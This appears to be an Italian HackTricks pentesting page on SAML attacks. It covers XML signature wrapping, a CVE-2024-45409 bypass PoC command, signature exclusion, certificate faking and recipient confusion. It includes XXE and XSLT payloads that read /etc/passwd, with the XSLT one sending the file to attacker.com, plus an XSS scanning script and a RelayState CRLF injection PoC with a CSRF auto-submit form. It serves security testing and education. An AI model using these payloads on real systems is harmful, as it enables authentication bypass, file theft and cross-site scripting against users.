Attacchi SAML

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

SAML Basics

Strumento

SAMLExtractor: Uno strumento che può prendere un URL o una lista di URL e restituisce il SAML consume URL.

Round-trip XML

In XML la parte firmata dell’XML viene salvata in memoria, poi viene eseguita una codifica/decodifica e la firma viene verificata. Idealmente quella codifica/decodifica non dovrebbe modificare i dati ma, basandosi su quello scenario, i dati verificati e i dati originali potrebbero non essere gli stessi.

Per esempio, controlla il seguente codice:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

L’esecuzione del programma contro REXML 3.2.4 o versioni precedenti avrebbe prodotto invece il seguente output:

First child in original doc: Y
First child after round-trip: Z

Questo è come REXML vedeva il documento XML originale dal programma sopra:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

E questo è come lo ha visto dopo un ciclo di parsing e serializzazione:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

Per ulteriori informazioni sulla vulnerabilità e su come sfruttarla:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), gli avversari sfruttano una vulnerabilità che emerge quando i documenti XML vengono processati attraverso due fasi distinte: signature validation e function invocation. Questi attacchi implicano la modifica della struttura del documento XML. Nello specifico, l’attaccante inietta elementi contraffatti che non compromettono la validità della XML Signature. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla application logic e quelli controllati dal signature verification module. Di conseguenza, mentre la XML Signature rimane tecnicamente valida e supera la verifica, la application logic elabora gli elementi fraudolenti. L’attaccante riesce così a bypassare la protezione di integrity e l’origin authentication fornite dalla XML Signature, consentendo l’iniezione di contenuto arbitrario senza essere rilevato.

Gli attacchi seguenti sono basati su questo post del blog e questo paper. Controllali per maggiori dettagli.

XSW #1

  • Strategia: Viene aggiunto un nuovo elemento root contenente la signature.
  • Implicazione: Il validator può confondersi tra il legittimo “Response -> Assertion -> Subject” e il “evil new Response -> Assertion -> Subject” dell’attaccante, causando problemi di integrità dei dati.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Differenza rispetto a XSW #1: Utilizza una detached signature invece di una enveloping signature.
  • Implicazione: La struttura “evil”, simile a XSW #1, mira a ingannare la business logic dopo il controllo di integrità.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategia: Viene creato un evil Assertion allo stesso livello gerarchico dell’assertion originale.
  • Implicazione: Ha lo scopo di confondere la business logic inducendola a usare i dati malevoli.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Differenza rispetto a XSW #3: L’Assertion originale diventa figlia dell’Assertion duplicata (evil).
  • Implicazione: Simile a XSW #3 ma modifica la struttura XML in modo più aggressivo.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Aspetto unico: Né la Signature né l’Assertion originale seguono le configurazioni standard (enveloped/enveloping/detached).
  • Implicazione: L’Assertion copiata envelopes la Signature, modificando la struttura del documento prevista.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategia: Inserimento in posizione simile a XSW #4 e #5, ma con una variazione.
  • Implicazione: L’Assertion copiata envelopes la Signature, che poi envelopes l’Assertion originale, creando una struttura annidata ingannevole.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategia: Viene inserito un elemento Extensions con l’Assertion copiata come figlia.
  • Implicazione: Sfrutta lo schema meno restrittivo dell’elemento Extensions per bypassare le contromisure basate sulla validazione dello schema, specialmente in librerie come OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Differenza rispetto a XSW #7: Utilizza un altro elemento XML meno restrittivo per una variante dell’attacco.
  • Implicazione: L’Assertion originale diventa figlia dell’elemento meno restrittivo, invertendo la struttura usata in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Strumento

Puoi usare l’estensione Burp SAML Raider per parseare la request, applicare qualsiasi attacco XSW tu scelga e lanciarlo.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impatto: Se il Service Provider utilizza una versione vulnerabile di Ruby-SAML (es. GitLab SAML SSO), un attaccante che riesca a ottenere qualsiasi SAMLResponse firmata dall’IdP può forgiare una nuova assertion e autenticarsi come utenti arbitrari.

Flusso di alto livello (bypass in stile signature-wrapping):

  1. Cattura una legittima SAMLResponse nel POST SSO (Burp o browser devtools). Ti basta qualunque response firmata dall’IdP per l’SP target.
  2. Decodifica l’encoding di trasporto fino al raw XML (ordine tipico): URL decode → Base64 decode → raw inflate.
  3. Usa una PoC (ad esempio lo script Synacktiv) per patchare IDs/NameID/conditions e riscrivere signature references/digests in modo che la validazione passi ancora mentre lo SP consuma campi dell’assertion controllati dall’attaccante.
  4. Ri-encodifica l’XML patchato (raw deflate → Base64 → URL encode) e riproducilo verso l’endpoint di callback SAML. Se ha successo, lo SP ti autentica come l’utente scelto.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Se non sai che tipo di attacchi siano gli XXE, leggi la seguente pagina:

XXE - XEE - XML External Entity

Le SAML Responses sono deflated and base64 encoded XML documents e possono essere suscettibili a XML External Entity (XXE) attacks. Manipolando la struttura XML della SAML Response, gli attacker possono tentare di sfruttare vulnerabilità XXE. Ecco come un tale attacco può essere visualizzato:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Strumenti

Puoi anche usare l’estensione di Burp SAML Raider per generare il POC da una SAML request e testare possibili vulnerabilità XXE e vulnerabilità SAML.

Guarda anche questo talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT tramite SAML

Per ulteriori informazioni su XSLT vai a:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) possono essere usate per trasformare documenti XML in vari formati come HTML, JSON o PDF. È fondamentale notare che le trasformazioni XSLT vengono eseguite prima della verifica della firma digitale. Questo significa che un attacco può riuscire anche senza una firma valida; una firma self-signed o non valida è sufficiente per procedere.

Qui puoi trovare una POC per verificare questo tipo di vulnerabilità; nella pagina hacktricks menzionata all’inizio di questa sezione puoi trovare i payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Strumento

Puoi anche usare l’estensione Burp SAML Raider per generare la POC da una SAML request e testare possibili vulnerabilità XSLT.

Guarda anche questo talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

L’XML Signature Exclusion osserva il comportamento delle implementazioni SAML quando l’elemento Signature non è presente. Se questo elemento manca, la validazione della firma potrebbe non avvenire, rendendo il sistema vulnerabile. È possibile testarlo alterando i contenuti che normalmente vengono verificati dalla signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Strumento

Puoi anche usare l’estensione Burp SAML Raider. Intercetta la SAML Response e clicca Remove Signatures. In questo modo vengono rimossi tutti gli elementi Signature.

Con le signature rimosse, lascia che la request proceda verso il target. Se la Signature non è richiesta dal Service

Certificate Faking

Certificate Faking

Certificate Faking è una tecnica per verificare se un Service Provider (SP) verifica correttamente che un SAML Message sia firmato da un trusted Identity Provider (IdP). Consiste nell’usare un *self-signed certificate per firmare la SAML Response o l’Assertion, utile per valutare il processo di validazione della fiducia tra SP e IdP.

Come condurre Certificate Faking

I seguenti passaggi descrivono il processo usando l’estensione Burp SAML Raider:

  1. Intercetta la SAML Response.
  2. Se la response contiene una signature, invia il certificato a SAML Raider Certs usando il pulsante Send Certificate to SAML Raider Certs.
  3. Nella tab SAML Raider Certificates, seleziona il certificato importato e clicca Save and Self-Sign per creare un clone self-signed del certificato originale.
  4. Torna alla request intercettata nella Proxy di Burp. Seleziona il nuovo certificato self-signed dal dropdown XML Signature.
  5. Rimuovi eventuali signature esistenti con il pulsante Remove Signatures.
  6. Firma il message o l’assertion con il nuovo certificato usando il pulsante (Re-)Sign Message o (Re-)Sign Assertion, a seconda dei casi.
  7. Inoltra il messaggio firmato. Un’autenticazione con successo indica che lo SP accetta messaggi firmati dal tuo certificato self-signed, rivelando potenziali vulnerabilità nel processo di validazione dei messaggi SAML.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion e Service Provider Target Confusion riguardano la verifica di whether il Service Provider valida correttamente il destinatario previsto di una response. In pratica, un Service Provider dovrebbe rifiutare una response di autenticazione se era destinata a un provider diverso. L’elemento critico qui è il campo Recipient, presente all’interno dell’elemento SubjectConfirmationData di una SAML Response. Questo campo specifica una URL che indica dove l’Assertion deve essere inviata. Se il recipient effettivo non corrisponde al Service Provider previsto, l’Assertion dovrebbe essere considerata invalida.

Come funziona

Perché un attacco SAML Token Recipient Confusion (SAML-TRC) sia praticabile, devono essere soddisfatte alcune condizioni. Innanzitutto, deve esistere un account valido su un Service Provider (denominato SP-Legit). In secondo luogo, il Service Provider target (SP-Target) deve accettare token dallo stesso Identity Provider che serve SP-Legit.

Il processo d’attacco è semplice in queste condizioni. Si avvia una sessione autentica con SP-Legit tramite l’Identity Provider condiviso. La SAML Response dall’Identity Provider a SP-Legit viene intercettata. Questa SAML Response intercettata, originariamente destinata a SP-Legit, viene poi inviata a SP-Target. L’attacco ha successo se SP-Target accetta l’Assertion, concedendo accesso a risorse sotto lo stesso nome account usato per SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS nella funzionalità di logout

La ricerca originale è consultabile tramite this link.

Durante il processo di directory brute forcing, è stata scoperta una pagina di logout in:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Accedendo a questo link, si è verificato un reindirizzamento a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Questo ha rivelato che il parametro base accetta un URL. Tenendo conto di ciò, è nata l’idea di sostituire l’URL con javascript:alert(123); nel tentativo di avviare un attacco XSS (Cross-Site Scripting).

Sfruttamento di massa

From this research:

Lo strumento SAMLExtractor è stato usato per analizzare i sottodomini di uberinternal.com alla ricerca di domini che utilizzano la stessa libreria. Successivamente è stato sviluppato uno script per mirare la pagina oidauth/prompt. Questo script verifica la presenza di XSS (Cross-Site Scripting) inserendo dati e controllando se vengono riflessi nell’output. Nei casi in cui l’input venga effettivamente riflesso, lo script segnala la pagina come vulnerabile.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Alcuni SAML SSO endpoints decodificano RelayState e poi lo riflettono nella risposta senza sanitizzazione. Se puoi inserire newlines e sovrascrivere il Content-Type della risposta, puoi forzare il browser a renderizzare HTML controllato dall’attaccante, ottenendo reflected XSS.

  • Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
  • Funziona anche quando RelayState viene decodificato in base64 lato server: fornisci una stringa base64 che decodifica in header/body injection.

Passaggi generali:

  1. Costruisci una sequenza di header/body injection che inizi con una newline, sovrascriva il Content-Type a HTML, poi inietti un payload HTML/JS:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode la sequenza (esempio):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Codifica in base64 quella stringa URL-encoded e inseriscila in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Invia un POST con una SAMLResponse sintatticamente valida e il RelayState costruito all’endpoint SSO (es., /cgi/logout).
  2. Consegna via CSRF: ospita una pagina che auto-invia un POST cross-origin verso l’origine target includendo entrambi i campi.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Schema di consegna CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Perché funziona: il server decodifica RelayState e lo incorpora nella risposta in modo da permettere newline injection, consentendo all’attacker di influenzare headers e body. Forzare Content-Type: text/html fa sì che il browser renderizzi l’HTML controllato dall’attacker dal body della risposta.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks